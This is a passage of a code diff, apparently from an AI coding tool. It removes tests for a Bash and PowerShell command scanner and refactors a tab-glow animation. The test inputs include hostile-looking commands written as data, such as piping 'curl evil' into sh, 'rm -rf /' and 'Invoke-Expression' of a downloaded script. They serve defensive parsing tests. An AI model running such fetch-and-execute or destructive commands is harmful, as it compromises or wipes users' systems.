for (const target of known) expect(ShellScan.scanPowerShell(`${location} ${target}`).kind).toBe("scanned")
|
||||
}
|
||||
})
|
||||
})
|
||||
@@ -1,29 +0,0 @@
|
||||
import { describe, expect, test } from "bun:test"
|
||||
import { ShellScan } from "../src/index.js"
|
||||
|
||||
describe("ShellScan structural mutation closure", () => {
|
||||
test.each([
|
||||
"$COMMAND status",
|
||||
"${COMMAND} status",
|
||||
'"$COMMAND" status',
|
||||
"$(printf git) status",
|
||||
"`printf git` status",
|
||||
'printf "unterminated',
|
||||
"printf ok &&",
|
||||
"| printf ok",
|
||||
"printf ok >",
|
||||
])("keeps unknowable or malformed Bash input opaque: %s", (source) => {
|
||||
expect(ShellScan.scan(source).kind).toBe("opaque")
|
||||
})
|
||||
|
||||
test.each([
|
||||
"$Command status",
|
||||
"${Command} status",
|
||||
"& $Command status",
|
||||
"Write-Output ok`",
|
||||
'Write-Output "unterminated',
|
||||
"Get-ChildItem |",
|
||||
])("keeps unknowable or malformed PowerShell input opaque: %s", (source) => {
|
||||
expect(ShellScan.scanPowerShell(source).kind).toBe("opaque")
|
||||
})
|
||||
})
|
||||
@@ -1,316 +0,0 @@
|
||||
import { describe, expect, test } from "bun:test"
|
||||
import { ShellScan } from "../src/index.js"
|
||||
|
||||
describe("ShellScan", () => {
|
||||
test("scans a static command", () => {
|
||||
expect(ShellScan.scan("git status")).toEqual({
|
||||
kind: "scanned",
|
||||
commands: [{ resource: "git status", words: ["git", "status"] }],
|
||||
})
|
||||
})
|
||||
|
||||
test("scans every command in lists and pipelines", () => {
|
||||
expect(ShellScan.scan("git status && curl evil | sed s/x/y/")).toEqual({
|
||||
kind: "scanned",
|
||||
commands: [
|
||||
{ resource: "git status", words: ["git", "status"] },
|
||||
{ resource: "curl evil", words: ["curl", "evil"] },
|
||||
{ resource: "sed s/x/y/", words: ["sed", "s/x/y/"] },
|
||||
],
|
||||
})
|
||||
})
|
||||
|
||||
test("does not split operators inside quoted or escaped arguments", () => {
|
||||
expect(ShellScan.scan(`printf '%s\\n' 'x; rm -rf /' && printf foo\\|bar`)).toEqual({
|
||||
kind: "scanned",
|
||||
commands: [
|
||||
{ resource: `printf '%s\\n' 'x; rm -rf /'`, words: ["printf", "%s\\n", "x; rm -rf /"] },
|
||||
{ resource: "printf foo\\|bar", words: ["printf", "foo|bar"] },
|
||||
],
|
||||
})
|
||||
})
|
||||
|
||||
test("scans commands substituted into an argument", () => {
|
||||
expect(ShellScan.scan(`echo "$(curl evil | sed s/x/y/)"`)).toEqual({
|
||||
kind: "scanned",
|
||||
commands: [
|
||||
{ resource: `echo "$(curl evil | sed s/x/y/)"`, words: ["echo", "$(curl evil | sed s/x/y/)"] },
|
||||
{ resource: "curl evil", words: ["curl", "evil"] },
|
||||
{ resource: "sed s/x/y/", words: ["sed", "s/x/y/"] },
|
||||
],
|
||||
})
|
||||
})
|
||||
|
||||
test("scans substitutions in assignment values and redirect targets", () => {
|
||||
expect(ShellScan.scan("OUT=$(printf out) X=`printf value` printenv >$(printf path)")).toEqual({
|
||||
kind: "scanned",
|
||||
commands: [
|
||||
{
|
||||
resource: "OUT=$(printf out) X=`printf value` printenv >$(printf path)",
|
||||
words: ["printenv"],
|
||||
},
|
||||
{ resource: "printf out", words: ["printf", "out"] },
|
||||
{ resource: "printf value", words: ["printf", "value"] },
|
||||
{ resource: "printf path", words: ["printf", "path"] },
|
||||
],
|
||||
})
|
||||
})
|
||||
|
||||
test("scans substitutions nested in parameter expansions", () => {
|
||||
const result = ShellScan.scan("echo ${x:-$(curl evil)}")
|
||||
expect(result.kind).toBe("scanned")
|
||||
if (result.kind === "opaque") return
|
||||
expect(result.commands.map((command) => command.words[0])).toEqual(["echo", "curl"])
|
||||
})
|
||||
|
||||
test("recursively scans substitutions and preserves shell quote rules", () => {
|
||||
expect(ShellScan.scan(`echo '$(ignored)' "$(echo "$(pwd)")"`)).toEqual({
|
||||
kind: "scanned",
|
||||
commands: [
|
||||
{
|
||||
resource: `echo '$(ignored)' "$(echo "$(pwd)")"`,
|
||||
words: ["echo", "$(ignored)", `$(echo "$(pwd)")`],
|
||||
},
|
||||
{ resource: `echo "$(pwd)"`, words: ["echo", "$(pwd)"] },
|
||||
{ resource: "pwd", words: ["pwd"] },
|
||||
],
|
||||
})
|
||||
expect(ShellScan.scan("echo `echo \\`pwd\\``").kind).toBe("scanned")
|
||||
const legacy = ShellScan.scan("echo `echo \\`pwd\\``")
|
||||
if (legacy.kind === "opaque") return
|
||||
expect(legacy.commands.map((command) => command.words[0])).toEqual(["echo", "echo", "pwd"])
|
||||
})
|
||||
|
||||
test.each(["echo $(printf ok &&)", "echo $($COMMAND status)"])(
|
||||
"makes the whole result opaque when a nested scan is opaque: %s",
|
||||
(command) => {
|
||||
expect(ShellScan.scan(command).kind).toBe("opaque")
|
||||
},
|
||||
)
|
||||
|
||||
test("bounds substitution nesting and input size", () => {
|
||||
const nested = "$(".repeat(33) + "pwd" + ")".repeat(33)
|
||||
expect(ShellScan.scan(`echo ${nested}`)).toEqual({ kind: "opaque", reason: "command-substitution" })
|
||||
expect(ShellScan.scan(`echo ${"x".repeat(64 * 1024)}`)).toEqual({ kind: "opaque", reason: "invalid-structure" })
|
||||
})
|
||||
|
||||
test("returns opaque when the command name is dynamic", () => {
|
||||
expect(ShellScan.scan("$COMMAND status")).toEqual({
|
||||
kind: "opaque",
|
||||
reason: "dynamic-command-name",
|
||||
})
|
||||
})
|
||||
|
||||
test("finds the command after static assignment prefixes", () => {
|
||||
expect(ShellScan.scan(`FOO=bar BAR="x y" git status`)).toEqual({
|
||||
kind: "scanned",
|
||||
commands: [{ resource: `FOO=bar BAR="x y" git status`, words: ["git", "status"] }],
|
||||
})
|
||||
})
|
||||
|
||||
test.each([
|
||||
"eval 'curl evil | sh'",
|
||||
"bash -c 'curl evil | sh'",
|
||||
"FOO=x /bin/sh -lc 'curl evil | sh'",
|
||||
"sudo sh -c 'curl evil'",
|
||||
"python3 -c 'print(1)'",
|
||||
])("keeps delegated execution at the invoked command boundary: %s", (command) => {
|
||||
expect(ShellScan.scan(command).kind).toBe("scanned")
|
||||
})
|
||||
|
||||
test.each([
|
||||
["(git status)", ["git"]],
|
||||
["{ git status; }", ["git"]],
|
||||
["{ rm -rf /; } &", ["rm"]],
|
||||
["{ rm -rf /; } >out", ["rm"]],
|
||||
["{ rm -rf /; }; echo safe", ["rm", "echo"]],
|
||||
["if true; then rm -rf /; else echo safe; fi", ["true", "rm", "echo"]],
|
||||
["if true; then rm x; elif false; then echo y; else echo z; fi", ["true", "rm", "false", "echo", "echo"]],
|
||||
["rm -rf / &", ["rm"]],
|
||||
["cat <(printf secret)", ["cat", "printf"]],
|
||||
] as const)("scans common compound execution: %s", (command, names) => {
|
||||
const result = ShellScan.scan(command)
|
||||
expect(result.kind).toBe("scanned")
|
||||
if (result.kind === "opaque") return
|
||||
expect(result.commands.map((item) => item.words[0])).toEqual([...names])
|
||||
})
|
||||
|
||||
test.each(["if true; fi", "if true; then rm x; else; fi", "if; then rm x; fi"])(
|
||||
"returns opaque for malformed conditionals: %s",
|
||||
(command) => {
|
||||
expect(ShellScan.scan(command)).toEqual({ kind: "opaque", reason: "compound-command" })
|
||||
},
|
||||
)
|
||||
|
||||
test("keeps redirects with the command but excludes them from words", () => {
|
||||
expect(ShellScan.scan("FOO=bar 2>>err printf ok > out && cat < input")).toEqual({
|
||||
kind: "scanned",
|
||||
commands: [
|
||||
{ resource: "FOO=bar 2>>err printf ok > out", words: ["printf", "ok"] },
|
||||
{ resource: "cat < input", words: ["cat"] },
|
||||
],
|
||||
})
|
||||
})
|
||||
|
||||
test("recognizes redirects without surrounding whitespace", () => {
|
||||
expect(ShellScan.scan("printf ok>out 2>&1|cat<input")).toEqual({
|
||||
kind: "scanned",
|
||||
commands: [
|
||||
{ resource: "printf ok>out 2>&1", words: ["printf", "ok"] },
|
||||
{ resource: "cat<input", words: ["cat"] },
|
||||
],
|
||||
})
|
||||
})
|
||||
|
||||
test.each(["printf ok &&", "| sh", "printf ok || || sh", "printf ok >"])(
|
||||
"returns opaque for malformed command structure: %s",
|
||||
(command) => {
|
||||
expect(ShellScan.scan(command).kind).toBe("opaque")
|
||||
},
|
||||
)
|
||||
|
||||
test("ignores comments outside words", () => {
|
||||
expect(ShellScan.scan("printf ok # ; curl evil | sh")).toEqual({
|
||||
kind: "scanned",
|
||||
commands: [{ resource: "printf ok", words: ["printf", "ok"] }],
|
||||
})
|
||||
})
|
||||
|
||||
test.each(["cat <<EOF\n$(curl evil | sh)\nEOF", "echo $((1 + 2))", "cat <<'EOF'\nstatic body\nEOF"])(
|
||||
"returns opaque for unsupported expansion or pattern syntax: %s",
|
||||
(command) => {
|
||||
expect(ShellScan.scan(command).kind).toBe("opaque")
|
||||
},
|
||||
)
|
||||
|
||||
test("does not invent a command for assignment-only input", () => {
|
||||
expect(ShellScan.scan("FOO=bar")).toEqual({ kind: "scanned", commands: [] })
|
||||
})
|
||||
})
|
||||
|
||||
describe("ShellScan PowerShell", () => {
|
||||
test("splits carriage-return statement separators", () => {
|
||||
const result = ShellScan.scanPowerShell("Get-ChildItem\rRemove-Item victim")
|
||||
expect(result.kind).toBe("scanned")
|
||||
if (result.kind === "opaque") return
|
||||
expect(result.commands.map((command) => command.words[0])).toEqual(["Get-ChildItem", "Remove-Item"])
|
||||
})
|
||||
|
||||
test("splits CRLF statement separators", () => {
|
||||
const result = ShellScan.scanPowerShell("Get-ChildItem\r\nRemove-Item victim")
|
||||
expect(result.kind).toBe("scanned")
|
||||
if (result.kind === "opaque") return
|
||||
expect(result.commands.map((command) => command.words[0])).toEqual(["Get-ChildItem", "Remove-Item"])
|
||||
})
|
||||
|
||||
test("ends comments at carriage returns", () => {
|
||||
const result = ShellScan.scanPowerShell("# comment\rRemove-Item victim")
|
||||
expect(result.kind).toBe("scanned")
|
||||
if (result.kind === "opaque") return
|
||||
expect(result.commands.map((command) => command.words[0])).toEqual(["Remove-Item"])
|
||||
})
|
||||
|
||||
test("scans static commands and pipelines", () => {
|
||||
expect(ShellScan.scanPowerShell("Get-ChildItem; Write-Output 'done' | Out-File output.txt")).toEqual({
|
||||
kind: "scanned",
|
||||
commands: [
|
||||
{ resource: "Get-ChildItem", words: ["Get-ChildItem"] },
|
||||
{ resource: "Write-Output 'done'", words: ["Write-Output", "done"] },
|
||||
{ resource: "Out-File output.txt", words: ["Out-File", "output.txt"] },
|
||||
],
|
||||
})
|
||||
})
|
||||
|
||||
test("keeps separators inside strings and honors backtick escapes", () => {
|
||||
expect(ShellScan.scanPowerShell('Write-Output "safe; still safe"; Write-Output foo`;bar')).toEqual({
|
||||
kind: "scanned",
|
||||
commands: [
|
||||
{ resource: 'Write-Output "safe; still safe"', words: ["Write-Output", "safe; still safe"] },
|
||||
{ resource: "Write-Output foo`;bar", words: ["Write-Output", "foo;bar"] },
|
||||
],
|
||||
})
|
||||
})
|
||||
|
||||
test("uses PowerShell quote escaping rules", () => {
|
||||
expect(ShellScan.scanPowerShell("Write-Output 'a''b; still string'; Write-Output \"a`\"; still string\"")).toEqual({
|
||||
kind: "scanned",
|
||||
commands: [
|
||||
{ resource: "Write-Output 'a''b; still string'", words: ["Write-Output", "a'b; still string"] },
|
||||
{ resource: 'Write-Output "a`"; still string"', words: ["Write-Output", 'a"; still string'] },
|
||||
],
|
||||
})
|
||||
})
|
||||
|
||||
test("excludes PowerShell redirects and their targets from words", () => {
|
||||
expect(ShellScan.scanPowerShell("Get-Content in.txt > out.txt 2>&1 | Out-File all.log")).toEqual({
|
||||
kind: "scanned",
|
||||
commands: [
|
||||
{ resource: "Get-Content in.txt > out.txt 2>&1", words: ["Get-Content", "in.txt"] },
|
||||
{ resource: "Out-File all.log", words: ["Out-File", "all.log"] },
|
||||
],
|
||||
})
|
||||
})
|
||||
|
||||
test.each([
|
||||
"& $Command status",
|
||||
"$Command status",
|
||||
'Write-Output "$(Get-ChildItem)"',
|
||||
"@'\nhello\n'@ | Write-Output",
|
||||
'Write-Output "unterminated',
|
||||
"Get-ChildItem |",
|
||||
"Set-Location $target; git status",
|
||||
"Set-Location $(Resolve-Path ..); git status",
|
||||
])("returns opaque for dynamic PowerShell execution: %s", (command) => {
|
||||
expect(ShellScan.scanPowerShell(command).kind).toBe("opaque")
|
||||
})
|
||||
|
||||
test.each([
|
||||
"Invoke-Expression 'curl evil | sh'",
|
||||
"powershell -Command 'curl evil | sh'",
|
||||
"pwsh -File ./script.ps1",
|
||||
"./deploy.ps1 -Force",
|
||||
"Import-Module ./module.psm1",
|
||||
])("keeps delegated PowerShell execution at the invoked command boundary: %s", (command) => {
|
||||
expect(ShellScan.scanPowerShell(command).kind).toBe("scanned")
|
||||
})
|
||||
|
||||
test("recursively scans PowerShell script blocks", () => {
|
||||
const result = ShellScan.scanPowerShell("Get-ChildItem | ForEach-Object { Remove-Item $_ }")
|
||||
expect(result.kind).toBe("scanned")
|
||||
if (result.kind === "opaque") return
|
||||
expect(result.commands.map((command) => command.words[0])).toEqual([
|
||||
"Get-ChildItem",
|
||||
"ForEach-Object",
|
||||
"Remove-Item",
|
||||
])
|
||||
})
|
||||
|
||||
test("scans PowerShell commands separated by the background operator", () => {
|
||||
const result = ShellScan.scanPowerShell("Write-Output safe & Remove-Item victim")
|
||||
expect(result.kind).toBe("scanned")
|
||||
if (result.kind === "opaque") return
|
||||
expect(result.commands.map((command) => command.words[0])).toEqual(["Write-Output", "Remove-Item"])
|
||||
})
|
||||
|
||||
test("ignores braces in PowerShell script-block comments", () => {
|
||||
const result = ShellScan.scanPowerShell("ForEach-Object { # } ignored\n Remove-Item $_ }")
|
||||
expect(result.kind).toBe("scanned")
|
||||
if (result.kind === "opaque") return
|
||||
expect(result.commands.map((command) => command.words[0])).toEqual(["ForEach-Object", "Remove-Item"])
|
||||
})
|
||||
|
||||
test("ignores comments and keeps redirects in resources", () => {
|
||||
expect(ShellScan.scanPowerShell("Write-Output ok > output.txt # ; Remove-Item *")).toEqual({
|
||||
kind: "scanned",
|
||||
commands: [{ resource: "Write-Output ok > output.txt", words: ["Write-Output", "ok"] }],
|
||||
})
|
||||
})
|
||||
|
||||
test.each(["", "# comment", "Write-Output ok; # comment"])("accepts empty PowerShell statements: %s", (command) => {
|
||||
expect(ShellScan.scanPowerShell(command).kind).toBe("scanned")
|
||||
})
|
||||
|
||||
test.each(["(Remove-Item *)", "Write-Output ok`"])("fails closed for ambiguous PowerShell syntax: %s", (command) =>
|
||||
expect(ShellScan.scanPowerShell(command).kind).toBe("opaque"),
|
||||
)
|
||||
})
|
||||
@@ -1,12 +0,0 @@
|
||||
{
|
||||
"$schema": "https://json.schemastore.org/tsconfig",
|
||||
"extends": "@tsconfig/bun/tsconfig.json",
|
||||
"compilerOptions": {
|
||||
"module": "NodeNext",
|
||||
"moduleResolution": "NodeNext",
|
||||
"allowImportingTsExtensions": false,
|
||||
"allowJs": false,
|
||||
"noUncheckedIndexedAccess": false
|
||||
},
|
||||
"include": ["src", "test", "bench", "research"]
|
||||
}
|
||||
@@ -80,6 +80,11 @@ export const unreadGlowIntensity = (index: number, width: number, maximumTail =
|
||||
}
|
||||
/** How far a resolving glow has diffused: the resting tail spreads across the full width as it thins away. */
|
||||
const glowReleaseSpread = (progress: number, tail: number, width: number) => tail + smootherstep(progress) * width
|
||||
// The resting glow drains away over this leading fraction of the release, i.e. the old 200ms fade.
|
||||
const GLOW_RELEASE_DRAIN_FRACTION = GLOW_FADE_OUT / GLOW_RELEASE_DURATION
|
||||
const glowReleaseDrain = (progress: number) => fadeOut(clamp(progress / GLOW_RELEASE_DRAIN_FRACTION))
|
||||
/** The diffusing glow swells gently above its resting level, then decays to nothing. */
|
||||
const glowReleaseSwell = (progress: number) => attackDecay(progress, GLOW_RELEASE_ATTACK, GLOW_RELEASE_PEAK, 0)
|
||||
export function blendTabPulseColor(
|
||||
output: RGBA,
|
||||
background: RGBA,
|
||||
@@ -153,17 +158,87 @@ class Envelope {
|
||||
return this.clock !== undefined
|
||||
}
|
||||
|
||||
get progress() {
|
||||
return this.clock === undefined ? undefined : this.clock / this.duration
|
||||
}
|
||||
|
||||
level() {
|
||||
return this.clock === undefined ? 0 : this.scale * this.shape(this.clock / this.duration)
|
||||
}
|
||||
}
|
||||
|
||||
// Hoisted so the per-frame liveness check allocates no closure.
|
||||
const envelopeActive = (envelope: Envelope) => envelope.active
|
||||
type GateStage = {
|
||||
duration: number
|
||||
shape: (progress: number) => number
|
||||
}
|
||||
|
||||
/**
|
||||
* A gated animation stage, in the synthesizer sense: trigger runs the attack shape and holds
|
||||
* sustain at 1; release fades out from whatever level the stage had at note-off. Sustain is
|
||||
* motionless, so only the attack and release phases count as animating.
|
||||
*/
|
||||
class GatedEnvelope {
|
||||
private phase: "idle" | "attack" | "sustain" | "release"
|
||||
private phaseClock = 0
|
||||
// Level captured at note-off; only meaningful while releasing.
|
||||
private releaseScale = 1
|
||||
|
||||
constructor(
|
||||
private attackStage: GateStage,
|
||||
private releaseStage: GateStage,
|
||||
initial: "idle" | "sustain" = "idle",
|
||||
) {
|
||||
this.phase = initial
|
||||
}
|
||||
|
||||
/** Note-on: run the attack from silence and hold sustain. */
|
||||
trigger() {
|
||||
this.phase = "attack"
|
||||
this.phaseClock = 0
|
||||
}
|
||||
|
||||
/** Note-off: fade out from the current level. */
|
||||
release() {
|
||||
if (this.phase === "idle") return
|
||||
this.releaseScale = this.level
|
||||
this.phase = "release"
|
||||
this.phaseClock = 0
|
||||
}
|
||||
|
||||
/** Halt mid-motion without a fade, e.g. when animations are disabled. */
|
||||
settle(phase: "idle" | "sustain") {
|
||||
this.phase = phase
|
||||
this.phaseClock = 0
|
||||
}
|
||||
|
||||
advance(delta: number) {
|
||||
if (this.phase === "idle" || this.phase === "sustain") return
|
||||
this.phaseClock += delta
|
||||
const duration = this.phase === "attack" ? this.attackStage.duration : this.releaseStage.duration
|
||||
if (this.phaseClock < duration) return
|
||||
this.phase = this.phase === "attack" ? "sustain" : "idle"
|
||||
this.phaseClock = 0
|
||||
}
|
||||
|
||||
get level() {
|
||||
if (this.phase === "idle") return 0
|
||||
if (this.phase === "sustain") return 1
|
||||
if (this.phase === "attack") return this.attackStage.shape(this.phaseClock / this.attackStage.duration)
|
||||
return this.releaseScale * this.releaseStage.shape(this.phaseClock / this.releaseStage.duration)
|
||||
}
|
||||
|
||||
get animating() {
|
||||
return this.phase === "attack" || this.phase === "release"
|
||||
}
|
||||
|
||||
get idle() {
|
||||
return this.phase === "idle"
|
||||
}
|
||||
|
||||
get releaseProgress() {
|
||||
return this.phase === "release" ? this.phaseClock / this.releaseStage.duration : undefined
|
||||
}
|
||||
|
||||
get noteOffLevel() {
|
||||
return this.releaseScale
|
||||
}
|
||||
}
|
||||
|
||||
type PulseStateOptions = {
|
||||
enabled: boolean
|
||||
@@ -179,27 +254,16 @@ class PulseState {
|
||||
private promptPulse: number
|
||||
private complete: boolean
|
||||
private glow: boolean
|
||||
private clock = 0
|
||||
private completionPending = false
|
||||
private runAttack = new Envelope(RUN_ATTACK, smootherstep)
|
||||
private runFade = new Envelope(RUN_FADE_OUT, fadeOut)
|
||||
private sweepClock = 0
|
||||
// Two gated voices: the running sweep and the unread glow. One-shots handle flash and completion.
|
||||
private runEnvelope = new GatedEnvelope(
|
||||
{ duration: RUN_ATTACK, shape: smootherstep },
|
||||
{ duration: RUN_FADE_OUT, shape: fadeOut },
|
||||
)
|
||||
private glowEnvelope: GatedEnvelope
|
||||
private completionPulse = new Envelope(COMPLETION_DURATION, completionPulseOpacity)
|
||||
private edgeFlash = new Envelope(EDGE_FLASH_DURATION, (progress) => attackDecay(progress, EDGE_FLASH_ATTACK, 1, 0))
|
||||
private ignition = new Envelope(GLOW_IGNITION_DURATION, glowIgnitionLevel)
|
||||
private glowOff = new Envelope(GLOW_FADE_OUT, fadeOut)
|
||||
// A resolving glow's send-off: a gentle swell that decays while the spatial profile diffuses outward.
|
||||
private release = new Envelope(GLOW_RELEASE_DURATION, (progress) =>
|
||||
attackDecay(progress, GLOW_RELEASE_ATTACK, GLOW_RELEASE_PEAK, 0),
|
||||
)
|
||||
private envelopes = [
|
||||
this.runAttack,
|
||||
this.runFade,
|
||||
this.completionPulse,
|
||||
this.edgeFlash,
|
||||
this.ignition,
|
||||
this.glowOff,
|
||||
this.release,
|
||||
]
|
||||
|
||||
constructor(options: PulseStateOptions) {
|
||||
this.enabled = options.enabled
|
||||
@@ -207,16 +271,28 @@ class PulseState {
|
||||
this.promptPulse = options.promptPulse
|
||||
this.complete = options.complete
|
||||
this.glow = options.glow
|
||||
if (this.enabled && this.active) this.runAttack.start()
|
||||
// A glow that exists at mount holds sustain without an ignition flash, even when animations are off.
|
||||
this.glowEnvelope = new GatedEnvelope(
|
||||
{ duration: GLOW_IGNITION_DURATION, shape: glowIgnitionLevel },
|
||||
{ duration: GLOW_RELEASE_DURATION, shape: glowReleaseDrain },
|
||||
options.glow ? "sustain" : "idle",
|
||||
)
|
||||
if (this.enabled && this.active) this.runEnvelope.trigger()
|
||||
}
|
||||
|
||||
get live() {
|
||||
return this.enabled && (this.active || this.envelopes.some(envelopeActive))
|
||||
return (
|
||||
this.enabled &&
|
||||
(this.active ||
|
||||
this.runEnvelope.animating ||
|
||||
this.glowEnvelope.animating ||
|
||||
this.completionPulse.active ||
|
||||
this.edgeFlash.active)
|
||||
)
|
||||
}
|
||||
|
||||
get running() {
|
||||
if (!this.enabled) return 0
|
||||
return this.active ? (this.runAttack.active ? this.runAttack.level() : 1) : this.runFade.level()
|
||||
return this.runEnvelope.level
|
||||
}
|
||||
|
||||
get completion() {
|
||||
@@ -227,27 +303,34 @@ class PulseState {
|
||||
return this.edgeFlash.level() * EDGE_FLASH_OPACITY
|
||||
}
|
||||
|
||||
/** The resting glow's amplitude: ignition attack, sustain, or the draining note-off residue. */
|
||||
get glowLevel() {
|
||||
if (!this.glow) return this.glowOff.level()
|
||||
return this.ignition.active ? this.ignition.level() : 1
|
||||
return this.glowEnvelope.level
|
||||
}
|
||||
|
||||
get releaseLevel() {
|
||||
return this.release.level()
|
||||
get glowReleaseProgress() {
|
||||
return this.glowEnvelope.releaseProgress
|
||||
}
|
||||
|
||||
get releaseProgress() {
|
||||
return this.release.progress
|
||||
/** The diffusing swell's amplitude; it rides above the glow it released from, never below its resting level. */
|
||||
get glowReleaseSwell() {
|
||||
const progress = this.glowEnvelope.releaseProgress
|
||||
if (progress === undefined) return 0
|
||||
return glowReleaseSwell(progress) * Math.max(1, this.glowEnvelope.noteOffLevel)
|
||||
}
|
||||
|
||||
setEnabled(value: boolean) {
|
||||
if (value === this.enabled) return false
|
||||
this.enabled = value
|
||||
if (!value) {
|
||||
for (const envelope of this.envelopes) envelope.stop()
|
||||
this.runEnvelope.settle("idle")
|
||||
this.glowEnvelope.settle(this.glow ? "sustain" : "idle")
|
||||
this.completionPulse.stop()
|
||||
this.edgeFlash.stop()
|
||||
this.completionPending = false
|
||||
} else if (this.active) {
|
||||
this.runAttack.restart()
|
||||
// Re-enable resumes the sweep from its prior position, so no sweep clock reset here.
|
||||
this.runEnvelope.trigger()
|
||||
}
|
||||
return true
|
||||
}
|
||||
@@ -257,15 +340,12 @@ class PulseState {
|
||||
this.active = value
|
||||
if (!this.enabled) return true
|
||||
if (value) {
|
||||
this.clock = 0
|
||||
this.runAttack.restart()
|
||||
this.runFade.stop()
|
||||
this.sweepClock = 0
|
||||
this.runEnvelope.trigger()
|
||||
this.completionPulse.stop()
|
||||
this.completionPending = false
|
||||
} else {
|
||||
const level = this.runAttack.active ? this.runAttack.level() : 1
|
||||
this.runAttack.stop()
|
||||
this.runFade.start(level)
|
||||
this.runEnvelope.release()
|
||||
this.completionPending = true
|
||||
}
|
||||
this.edgeFlash.start()
|
||||
@@ -295,41 +375,46 @@ class PulseState {
|
||||
|
||||
setGlow(value: boolean) {
|
||||
if (value === this.glow) return false
|
||||
if (this.enabled && !value) {
|
||||
// Resolving the glow sends it off: residual glow drains while the release diffuses outward.
|
||||
this.glowOff.start(this.glowLevel)
|
||||
this.release.restart(Math.max(1, this.glowLevel))
|
||||
}
|
||||
this.glow = value
|
||||
this.ignition.stop()
|
||||
if (this.enabled && value) {
|
||||
this.glowOff.stop()
|
||||
this.release.stop()
|
||||
this.ignition.start()
|
||||
// Without animations the glow still holds statically; it just skips the ignition and release motion.
|
||||
if (!this.enabled) {
|
||||
this.glowEnvelope.settle(value ? "sustain" : "idle")
|
||||
return true
|
||||
}
|
||||
if (value) this.glowEnvelope.trigger()
|
||||
else this.glowEnvelope.release()
|
||||
return true
|
||||
}
|
||||
|
||||
advance(deltaTime: number) {
|
||||
if (!this.live) return
|
||||
if (this.active || this.runFade.active) this.clock += deltaTime
|
||||
for (const envelope of this.envelopes) envelope.advance(deltaTime)
|
||||
// The sweep keeps coasting from note-on through the release fade.
|
||||
if (!this.runEnvelope.idle) this.sweepClock += deltaTime
|
||||
this.runEnvelope.advance(deltaTime)
|
||||
this.glowEnvelope.advance(deltaTime)
|
||||
this.completionPulse.advance(deltaTime)
|
||||
this.edgeFlash.advance(deltaTime)
|
||||
if (!this.completionPending) return
|
||||
if (this.complete) {
|
||||
this.completionPending = false
|
||||
this.completionPulse.start()
|
||||
return
|
||||
}
|
||||
if (!this.runFade.active) this.completionPending = false
|
||||
if (this.runEnvelope.releaseProgress === undefined) this.completionPending = false
|
||||
}
|
||||
|
||||
// Scratch tuple reused across frames so the steady-state render allocates nothing.
|
||||
private sweepFronts: [number, number] = [0, 0]
|
||||
|
||||
fronts(width: number) {
|
||||
const cycles = this.clock / RUN_DURATION
|
||||
const cycles = this.sweepClock / RUN_DURATION
|
||||
const progress = cycles % 1
|
||||
const start = -RUN_HEAD
|
||||
const end = width - 1 + RUN_TAIL
|
||||
const secondProgress = cycles < 0.5 ? 0 : (cycles + 0.5) % 1
|
||||
return [start + coast(progress) * (end - start), start + coast(secondProgress) * (end - start)] as const
|
||||
this.sweepFronts[0] = start + coast(progress) * (end - start)
|
||||
this.sweepFronts[1] = start + coast(secondProgress) * (end - start)
|
||||
return this.sweepFronts
|
||||
}
|
||||
}
|
||||
|
||||
@@ -557,20 +642,20 @@ class TabPulseRenderable extends Renderable {
|
||||
const completion = this.inner.completion
|
||||
const flash = this.inner.flash
|
||||
const glowLevel = this.inner.glowLevel
|
||||
const releaseLevel = this.inner.releaseLevel
|
||||
const releaseProgress = this.inner.glowReleaseProgress
|
||||
const outerRunning = this.outer.running
|
||||
const outerCompletion = this.outer.completion
|
||||
const outerFlash = this.outer.flash
|
||||
const outerGlowLevel = this.outer.glowLevel
|
||||
const outerReleaseLevel = this.outer.releaseLevel
|
||||
const outerReleaseProgress = this.outer.glowReleaseProgress
|
||||
if (
|
||||
glowLevel === 0 &&
|
||||
releaseLevel === 0 &&
|
||||
releaseProgress === undefined &&
|
||||
running === 0 &&
|
||||
completion === 0 &&
|
||||
flash === 0 &&
|
||||
outerGlowLevel === 0 &&
|
||||
outerReleaseLevel === 0 &&
|
||||
outerReleaseProgress === undefined &&
|
||||
outerRunning === 0 &&
|
||||
outerCompletion === 0 &&
|
||||
outerFlash === 0
|
||||
@@ -589,8 +674,11 @@ class TabPulseRenderable extends Renderable {
|
||||
)
|
||||
const glowTail = Math.min(this._glowTail, Math.max(1, this.width - 2))
|
||||
const outerGlowTail = Math.min(this._outerGlowTail, Math.max(1, this.width - 2))
|
||||
const releaseSpread = glowReleaseSpread(this.inner.releaseProgress ?? 0, glowTail, this.width)
|
||||
const outerReleaseSpread = glowReleaseSpread(this.outer.releaseProgress ?? 0, outerGlowTail, this.width)
|
||||
const releaseSwell = this.inner.glowReleaseSwell
|
||||
const releaseSpread = releaseSwell === 0 ? 0 : glowReleaseSpread(releaseProgress!, glowTail, this.width)
|
||||
const outerReleaseSwell = this.outer.glowReleaseSwell
|
||||
const outerReleaseSpread =
|
||||
outerReleaseSwell === 0 ? 0 : glowReleaseSpread(outerReleaseProgress!, outerGlowTail, this.width)
|
||||
const flashTail = this._flashTail === undefined ? undefined : Math.min(this._flashTail, Math.max(1, this.width - 2))
|
||||
const outerFlashTail =
|
||||
this._outerFlashTail === undefined ? undefined : Math.min(this._outerFlashTail, Math.max(1, this.width - 2))
|
||||
@@ -623,7 +711,7 @@ class TabPulseRenderable extends Renderable {
|
||||
this._completionColor,
|
||||
Math.max(
|
||||
glowLevel === 0 ? 0 : glowIntensityAt(index, glowTail) * GLOW_OPACITY * glowLevel,
|
||||
releaseLevel === 0 ? 0 : glowIntensityAt(index, releaseSpread) * GLOW_OPACITY * releaseLevel,
|
||||
releaseSwell === 0 ? 0 : glowIntensityAt(index, releaseSpread) * GLOW_OPACITY * releaseSwell,
|
||||
),
|
||||
sweep,
|
||||
flashTail === undefined ? flash : flash * tabFlashIntensity(index, flashTail),
|
||||
@@ -642,7 +730,7 @@ class TabPulseRenderable extends Renderable {
|
||||
this._outerCompletionColor,
|
||||
Math.max(
|
||||
outerGlowLevel === 0 ? 0 : glowIntensityAt(index, outerGlowTail) * GLOW_OPACITY * outerGlowLevel,
|
||||
outerReleaseLevel === 0 ? 0 : glowIntensityAt(index, outerReleaseSpread) * GLOW_OPACITY * outerReleaseLevel,
|
||||
outerReleaseSwell === 0 ? 0 : glowIntensityAt(index, outerReleaseSpread) * GLOW_OPACITY * outerReleaseSwell,
|
||||
),
|
||||
outerSweep,
|
||||
outerFlashTail === undefined ? outerFlash : outerFlash * tabFlashIntensity(index, outerFlashTail),
|
||||
|
||||
@@ -1,39 +1,177 @@
|
||||
import type { OpenCodeClient, OpenCodeEvent } from "@opencode-ai/client"
|
||||
import { createClientConnection } from "@opencode-ai/client/solid"
|
||||
